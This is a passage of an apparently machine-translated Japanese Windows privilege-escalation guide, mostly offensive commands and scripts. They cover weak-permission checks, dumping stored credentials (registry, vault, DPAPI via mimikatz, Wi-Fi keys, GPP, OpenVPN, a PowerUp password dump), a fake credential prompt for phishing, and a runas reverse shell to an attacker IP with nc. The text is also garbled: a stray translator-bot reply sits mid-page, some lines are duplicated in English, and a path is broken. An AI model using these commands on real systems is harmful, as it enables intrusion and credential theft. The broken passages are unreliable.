reg query HKEY_LOCAL_MACHINE\SOFTWARE
|
||
|
||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||
```
|
||
### Write Permissions
|
||
|
||
config file を変更して特定のファイルを読み取れるか、または Administrator account (schedtasks) によって実行される binary を変更できるかを確認します。
|
||
|
||
システム内の弱い folder/files permissions を見つける方法の一つは次のとおりです:
|
||
```bash
|
||
accesschk.exe /accepteula
|
||
# Find all weak folder permissions per drive.
|
||
accesschk.exe -uwdqs Users c:\
|
||
accesschk.exe -uwdqs "Authenticated Users" c:\
|
||
accesschk.exe -uwdqs "Everyone" c:\
|
||
# Find all weak file permissions per drive.
|
||
accesschk.exe -uwqs Users c:\*.*
|
||
accesschk.exe -uwqs "Authenticated Users" c:\*.*
|
||
accesschk.exe -uwdqs "Everyone" c:\*.*
|
||
```
|
||
|
||
```bash
|
||
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
|
||
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
|
||
```
|
||
|
||
```bash
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
|
||
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
|
||
```
|
||
### 起動時に実行
|
||
|
||
**他のユーザーによって実行される registry または binary を上書きできるか確認する。**\
|
||
**読む** **以下のページ** を参照して、興味深い **autoruns の権限昇格に関する場所** について詳しく学んでください:
|
||
|
||
{{#ref}}
|
||
privilege-escalation-with-autorun-binaries.md
|
||
{{#endref}}
|
||
|
||
### ドライバ
|
||
|
||
可能性のある **サードパーティ製の挙動不審/脆弱な** ドライバを探す
|
||
```bash
|
||
driverquery
|
||
driverquery.exe /fo table
|
||
driverquery /SI
|
||
```
|
||
ドライバが arbitrary kernel read/write primitive を公開している場合(不適切に設計された IOCTL ハンドラでよく見られる)、kernel memory から直接 SYSTEM token を盗むことで権限を昇格させることができます。手順は以下を参照してください:
|
||
|
||
{{#ref}}
|
||
arbitrary-kernel-rw-token-theft.md
|
||
{{#endref}}
|
||
|
||
|
||
## PATH DLL Hijacking
|
||
|
||
もし **write permissions inside a folder present on PATH** を持っている場合、プロセスによってロードされた DLL をハイジャックして **escalate privileges** できる可能性があります。
|
||
|
||
PATH 内のすべてのフォルダの権限を確認してください:
|
||
```bash
|
||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||
```
|
||
このチェックを悪用する方法の詳細については:
|
||
|
||
|
||
{{#ref}}
|
||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||
{{#endref}}
|
||
|
||
## ネットワーク
|
||
|
||
### 共有
|
||
```bash
|
||
net view #Get a list of computers
|
||
net view /all /domain [domainname] #Shares on the domains
|
||
net view \\computer /ALL #List shares of a computer
|
||
net use x: \\computer\share #Mount the share locally
|
||
net share #Check current shares
|
||
```
|
||
### hosts file
|
||
|
||
hosts file にハードコードされている他の既知のコンピュータを確認する
|
||
```
|
||
type C:\Windows\System32\drivers\etc\hosts
|
||
```
|
||
### ネットワークインターフェースとDNS
|
||
```
|
||
ipconfig /all
|
||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||
```
|
||
### 開放ポート
|
||
|
||
外部から**制限されたサービス**を確認する
|
||
```bash
|
||
netstat -ano #Opened ports?
|
||
```
|
||
### ルーティングテーブル
|
||
```
|
||
route print
|
||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||
```
|
||
### ARP テーブル
|
||
```
|
||
arp -A
|
||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||
```
|
||
### Firewall Rules
|
||
|
||
[**このページで Firewall に関連するコマンドを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧表示、ルールの作成、無効化、無効化...)**
|
||
|
||
さらに[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
|
||
|
||
### Windows Subsystem for Linux (wsl)
|
||
```bash
|
||
C:\Windows\System32\bash.exe
|
||
C:\Windows\System32\wsl.exe
|
||
```
|
||
バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも存在します。
|
||
|
||
root ユーザーを取得すれば任意のポートで待ち受けできます(`nc.exe` を初めてポートで待ち受けに使うと、GUI で `nc` をファイアウォールで許可するか確認されます)。
|
||
```bash
|
||
wsl whoami
|
||
./ubuntun1604.exe config --default-user root
|
||
wsl whoami
|
||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||
```
|
||
簡単に bash を root として起動するには、`--default-user root` を試してください
|
||
|
||
フォルダ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` で `WSL` のファイルシステムを参照できます。
|
||
|
||
## Windows 資格情報
|
||
|
||
### Winlogon 資格情報
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||
|
||
#Other way
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
|
||
```
|
||
### 資格情報マネージャー / Windows vault
|
||
|
||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||
Windows Vault は、**Windows** が **ユーザーを自動的にログインさせることができる** サーバー、ウェブサイト、その他のプログラムのためのユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの認証情報を保存してブラウザ経由で自動的にログインできるように見えるかもしれません。しかしそうではありません。
|
||
|
||
Windows Vault は Windows が自動的にログインできる資格情報を保存しており、これは任意の **Windows アプリケーションがリソースにアクセスするために資格情報を必要とする場合**(サーバーやウェブサイト)**この Credential Manager と Windows Vault を利用できる** ことを意味し、ユーザーが毎回ユーザー名とパスワードを入力する代わりに提供された資格情報を使用します。
|
||
|
||
アプリケーションが Credential Manager と対話しない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、あなたのアプリケーションが vault を利用したい場合は、デフォルトのストレージ vault からそのリソースの資格情報を取得するために、何らかの方法で **credential manager と通信してそのリソースの資格情報を要求する** べきです。
|
||
|
||
Use the `cmdkey` to list the stored credentials on the machine.
|
||
```bash
|
||
cmdkey /list
|
||
Currently stored credentials:
|
||
Target: Domain:interactive=WORKGROUP\Administrator
|
||
Type: Domain Password
|
||
User: WORKGROUP\Administrator
|
||
```
|
||
その後、保存された資格情報を使用するために `runas` を `/savecred` オプション付きで使用できます。次の例は SMB share 経由でリモートのバイナリを呼び出すものです。
|
||
```bash
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||
```
|
||
提供された資格情報を使って `runas` を実行する。
|
||
```bash
|
||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||
```
|
||
Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。
|
||
|
||
### DPAPI
|
||
|
||
The **Data Protection API (DPAPI)** は、データの対称暗号化の手段を提供します。主に Windows オペレーティングシステム内で、非対称の秘密鍵を対称的に暗号化するために使用されます。この暗号化は、ユーザーまたはシステムのシークレットを利用してエントロピーに大きく寄与します。
|
||
|
||
**DPAPI は、ユーザーのログインシークレットから派生した対称鍵を用いて鍵を暗号化することを可能にします**。システム暗号化の場面では、システムのドメイン認証シークレットを利用します。
|
||
|
||
DPAPI を使用して暗号化されたユーザーの RSA 鍵は、`%APPDATA%\Microsoft\Protect\{SID}` ディレクトリに格納されます。ここで `{SID}` はユーザーの [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**DPAPI キーは、ユーザーの秘密鍵を保護するマスターキーと同一ファイルに同居しており**、通常 64 bytes のランダムデータで構成されます。(このディレクトリへのアクセスは制限されており、CMD の `dir` コマンドで内容を一覧表示することはできませんが、PowerShell では一覧表示できますので注意してください。)
|
||
```bash
|
||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||
```
|
||
対象を復号するには、**mimikatz module** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)で使用できます。
|
||
|
||
**マスターパスワードで保護された資格情報ファイル**は通常次の場所にあります:
|
||
```bash
|
||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
```
|
||
適切な `/masterkey` を指定して、**mimikatz module** `dpapi::cred` を使って復号できます。\
|
||
root の場合、`sekurlsa::dpapi` モジュールを使って **extract many DPAPI** **masterkeys** from **memory** が可能です。
|
||
|
||
|
||
{{#ref}}
|
||
dpapi-extracting-passwords.md
|
||
{{#endref}}
|
||
|
||
### PowerShell Credentials
|
||
|
||
**PowerShell credentials** は、暗号化された認証情報を便利に保存する手段として、**scripting** や自動化タスクでよく使用されます。これらの認証情報は **DPAPI** によって保護されており、通常は作成された同じユーザーが同じコンピュータ上でのみ復号できます。
|
||
|
||
それを含むファイルからPS credentialsを**復号**するには、次のようにします:
|
||
```bash
|
||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||
PS C:\> $credential.GetNetworkCredential().username
|
||
|
||
john
|
||
|
||
PS C:\htb> $credential.GetNetworkCredential().password
|
||
|
||
JustAPWD!
|
||
```
|
||
### 無線LAN
|
||
```bash
|
||
#List saved Wifi using
|
||
netsh wlan show profile
|
||
#To get the clear-text password use
|
||
netsh wlan show profile <SSID> key=clear
|
||
#Oneliner to extract all wifi passwords
|
||
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
|
||
```
|
||
### 保存されたRDP接続
|
||
|
||
これらは `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||
および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` にあります。
|
||
|
||
### 最近実行したコマンド
|
||
```
|
||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
```
|
||
### **リモートデスクトップ資格情報マネージャー**
|
||
```
|
||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||
```
|
||
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files`\
|
||
Mimikatz の `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用すると、任意の .rdg ファイルを **復号** できます。\
|
||
You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
|
||
Mimikatz の `sekurlsa::dpapi` モジュールを使用すると、メモリから多くの DPAPI masterkeys を **抽出** できます。
|
||
|
||
### Sticky Notes
|
||
|
||
People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.
|
||
Windows ワークステーションでは、StickyNotes アプリを使ってパスワードやその他の情報を保存していることがよくあり、それがデータベースファイルであることに気付いていない場合があります。このファイルは `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。
|
||
|
||
### AppCmd.exe
|
||
|
||
**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\
|
||
**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\
|
||
If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.
|
||
**AppCmd.exe からパスワードを回復するには、Administrator 権限で High Integrity レベルで実行する必要がある点に注意してください。**\
|
||
**AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\
|
||
このファイルが存在する場合、何らかの **credentials** が設定されており、**回復** できる可能性があります。
|
||
|
||
This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||
```bash
|
||
function Get-ApplicationHost {
|
||
$OrigError = $ErrorActionPreference
|
||
$ErrorActionPreference = "SilentlyContinue"
|
||
|
||
# Check if appcmd.exe exists
|
||
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
|
||
# Create data table to house results
|
||
$DataTable = New-Object System.Data.DataTable
|
||
|
||
# Create and name columns in the data table
|
||
$Null = $DataTable.Columns.Add("user")
|
||
$Null = $DataTable.Columns.Add("pass")
|
||
$Null = $DataTable.Columns.Add("type")
|
||
$Null = $DataTable.Columns.Add("vdir")
|
||
$Null = $DataTable.Columns.Add("apppool")
|
||
|
||
# Get list of application pools
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
|
||
|
||
# Get application pool name
|
||
$PoolName = $_
|
||
|
||
# Get username
|
||
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
|
||
$PoolUser = Invoke-Expression $PoolUserCmd
|
||
|
||
# Get password
|
||
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
|
||
$PoolPassword = Invoke-Expression $PoolPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
|
||
}
|
||
}
|
||
|
||
# Get list of virtual directories
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
|
||
|
||
# Get Virtual Directory Name
|
||
$VdirName = $_
|
||
|
||
# Get username
|
||
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
|
||
$VdirUser = Invoke-Expression $VdirUserCmd
|
||
|
||
# Get password
|
||
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
|
||
$VdirPassword = Invoke-Expression $VdirPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
|
||
}
|
||
}
|
||
|
||
# Check if any passwords were found
|
||
if( $DataTable.rows.Count -gt 0 ) {
|
||
# Display results in list view that can feed into the pipeline
|
||
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
|
||
}
|
||
else {
|
||
# Status user
|
||
Write-Verbose 'No application pool or virtual directory passwords were found.'
|
||
$False
|
||
}
|
||
}
|
||
else {
|
||
Write-Verbose 'Appcmd.exe does not exist in the default location.'
|
||
$False
|
||
}
|
||
$ErrorActionPreference = $OrigError
|
||
}
|
||
```
|
||
### SCClient / SCCM
|
||
|
||
C:\Windows\CCM\SCClient.exe が存在するか確認する .\
|
||
インストーラは **run with SYSTEM privileges**, 多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||
```bash
|
||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||
if ($result) { $result }
|
||
else { Write "Not Installed." }
|
||
```
|
||
## ファイルとレジストリ(認証情報)
|
||
|
||
### Putty の認証情報
|
||
```bash
|
||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||
```
|
||
### Putty の SSH ホストキー
|
||
```
|
||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||
```
|
||
### レジストリ内の SSH keys
|
||
|
||
SSH private keys はレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに何か興味深いものがないか確認してください:
|
||
```bash
|
||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||
```
|
||
そのパス内でエントリを見つけた場合、それはおそらく保存された SSH key です。暗号化された状態で保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使用して簡単に復号できます。\
|
||
この手法の詳細は次を参照してください: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
If `ssh-agent` service is not running and you want it to automatically start on boot run:
|
||
```bash
|
||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||
```
|
||
> [!TIP]
|
||
> この手法はもう有効ではないようです。いくつかの ssh キーを作成し、`ssh-add` で追加して、ssh でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証の間に `dpapi.dll` の使用を検出しませんでした。
|
||
|
||
### 放置されたファイル
|
||
```
|
||
C:\Windows\sysprep\sysprep.xml
|
||
C:\Windows\sysprep\sysprep.inf
|
||
C:\Windows\sysprep.inf
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\Panther\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\System32\Sysprep\unattend.xml
|
||
C:\Windows\System32\Sysprep\unattended.xml
|
||
C:\unattend.txt
|
||
C:\unattend.inf
|
||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||
```
|
||
これらのファイルは **metasploit** を使って検索することもできます: _post/windows/gather/enum_unattend_
|
||
|
||
例の内容:
|
||
```xml
|
||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||
<AutoLogon>
|
||
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
|
||
<Enabled>true</Enabled>
|
||
<Username>Administrateur</Username>
|
||
</AutoLogon>
|
||
|
||
<UserAccounts>
|
||
<LocalAccounts>
|
||
<LocalAccount wcm:action="add">
|
||
<Password>*SENSITIVE*DATA*DELETED*</Password>
|
||
<Group>administrators;users</Group>
|
||
<Name>Administrateur</Name>
|
||
</LocalAccount>
|
||
</LocalAccounts>
|
||
</UserAccounts>
|
||
```
|
||
### SAM & SYSTEM バックアップ
|
||
```bash
|
||
# Usually %SYSTEMROOT% = C:\Windows
|
||
%SYSTEMROOT%\repair\SAM
|
||
%SYSTEMROOT%\System32\config\RegBack\SAM
|
||
%SYSTEMROOT%\System32\config\SAM
|
||
%SYSTEMROOT%\repair\system
|
||
%SYSTEMROOT%\System32\config\SYSTEM
|
||
%SYSTEMROOT%\System32\config\RegBack\system
|
||
```
|
||
### クラウド認証情報
|
||
```bash
|
||
#From user home
|
||
.aws\credentials
|
||
AppData\Roaming\gcloud\credentials.db
|
||
AppData\Roaming\gcloud\legacy_credentials
|
||
AppData\Roaming\gcloud\access_tokens.db
|
||
.azure\accessTokens.json
|
||
.azure\azureProfile.json
|
||
```
|
||
### McAfee SiteList.xml
|
||
|
||
ファイル名 **SiteList.xml** を検索する
|
||
|
||
### キャッシュされた GPP パスワード
|
||
|
||
以前は、Group Policy Preferences (GPP) を介して複数のマシンにカスタムのローカル管理者アカウントを展開できる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOL に XML ファイルとして格納される Group Policy Objects (GPOs) は任意のドメインユーザーが参照できました。次に、これらの GPP 内のパスワードは、公開されているデフォルトキーを使用して AES256 で暗号化されていましたが、任意の認証済みユーザーによって復号可能でした。これにより、ユーザーが特権を獲得する可能性があり、深刻なリスクとなっていました。
|
||
|
||
このリスクを軽減するため、"cpassword" フィールドが空でないローカルにキャッシュされた GPP ファイルをスキャンする機能が作られました。該当ファイルが見つかると、その関数はパスワードを復号してカスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細とファイルの場所が含まれ、脆弱性の特定と修復に役立ちます。
|
||
|
||
`C:\ProgramData\Microsoft\Group Policy\history` または _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(Windows Vista より前)_ を以下のファイルについて検索する:
|
||
|
||
- Groups.xml
|
||
- Services.xml
|
||
- Scheduledtasks.xml
|
||
- DataSources.xml
|
||
- Printers.xml
|
||
- Drives.xml
|
||
|
||
**To decrypt the cPassword:**
|
||
```bash
|
||
#To decrypt these passwords you can decrypt it using
|
||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||
```
|
||
crackmapexecを使用して passwords を取得する:
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||
```
|
||
### IIS Web 設定
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
```bash
|
||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
|
||
C:\inetpub\wwwroot\web.config
|
||
```
|
||
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
資格情報を含む web.config の例:
|
||
```xml
|
||
<authentication mode="Forms">
|
||
<forms name="login" loginUrl="/admin">
|
||
<credentials passwordFormat = "Clear">
|
||
<user name="Administrator" password="SuperAdminPassword" />
|
||
</credentials>
|
||
</forms>
|
||
</authentication>
|
||
```
|
||
### OpenVPN 認証情報
|
||
```csharp
|
||
Add-Type -AssemblyName System.Security
|
||
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
|
||
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
|
||
|
||
foreach ($item in $items)
|
||
{
|
||
$encryptedbytes=$item.'auth-data'
|
||
$entropy=$item.'entropy'
|
||
$entropy=$entropy[0..(($entropy.Length)-2)]
|
||
|
||
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
|
||
$encryptedBytes,
|
||
$entropy,
|
||
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||
|
||
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
|
||
}
|
||
```
|
||
### ログ
|
||
```bash
|
||
# IIS
|
||
C:\inetpub\logs\LogFiles\*
|
||
|
||
#Apache
|
||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
### credentials を尋ねる
|
||
|
||
ユーザーがそれらを知っていると思われる場合は、常にユーザーに**自身のcredentials、または別のユーザーのcredentialsを入力するよう頼むことができます**(ただしクライアントに直接**credentials**を**尋ねる**のは非常に**危険**であることに注意してください):
|
||
```bash
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
|
||
#Get plaintext
|
||
$cred.GetNetworkCredential() | fl
|
||
```
|
||
### **credentials を含む可能性のあるファイル名**
|
||
|
||
以前、**passwords** を **clear-text** または **Base64** で含んでいた既知のファイル
|
||
```bash
|
||
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
|
||
vnc.ini, ultravnc.ini, *vnc*
|
||
web.config
|
||
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
|
||
SiteList.xml #McAfee
|
||
ConsoleHost_history.txt #PS-History
|
||
*.gpg
|
||
*.pgp
|
||
*config*.php
|
||
elasticsearch.y*ml
|
||
kibana.y*ml
|
||
*.p12
|
||
*.der
|
||
*.csr
|
||
*.cer
|
||
known_hosts
|
||
id_rsa
|
||
id_dsa
|
||
*.ovpn
|
||
anaconda-ks.cfg
|
||
hostapd.conf
|
||
rsyncd.conf
|
||
cesi.conf
|
||
supervisord.conf
|
||
tomcat-users.xml
|
||
*.kdbx
|
||
KeePass.config
|
||
Ntds.dit
|
||
SAM
|
||
SYSTEM
|
||
FreeSSHDservice.ini
|
||
access.log
|
||
error.log
|
||
server.xml
|
||
ConsoleHost_history.txt
|
||
setupinfo
|
||
setupinfo.bak
|
||
key3.db #Firefox
|
||
key4.db #Firefox
|
||
places.sqlite #Firefox
|
||
"Login Data" #Chrome
|
||
Cookies #Chrome
|
||
Bookmarks #Chrome
|
||
History #Chrome
|
||
TypedURLsTime #IE
|
||
TypedURLs #IE
|
||
%SYSTEMDRIVE%\pagefile.sys
|
||
%WINDIR%\debug\NetSetup.log
|
||
%WINDIR%\repair\sam
|
||
%WINDIR%\repair\system
|
||
%WINDIR%\repair\software, %WINDIR%\repair\security
|
||
%WINDIR%\iis6.log
|
||
%WINDIR%\system32\config\AppEvent.Evt
|
||
%WINDIR%\system32\config\SecEvent.Evt
|
||
%WINDIR%\system32\config\default.sav
|
||
%WINDIR%\system32\config\security.sav
|
||
%WINDIR%\system32\config\software.sav
|
||
%WINDIR%\system32\config\system.sav
|
||
%WINDIR%\system32\CCM\logs\*.log
|
||
%USERPROFILE%\ntuser.dat
|
||
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
|
||
```
|
||
I don't have access to your repository. Please paste the content of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of proposed files you'd like searched). I'll then translate the English text to Japanese while preserving all markdown, tags, links, and paths exactly as you requested.
|
||
```
|
||
cd C:\
|
||
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
|
||
```
|
||
|
||
```
|
||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||
```
|
||
### RecycleBin の資格情報
|
||
|
||
Bin も確認して、その中に資格情報がないか探してください
|
||
|
||
いくつかのプログラムに保存された**パスワードを回復する**には、次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||
|
||
### レジストリ内
|
||
|
||
**資格情報を含むその他のレジストリキー**
|
||
```bash
|
||
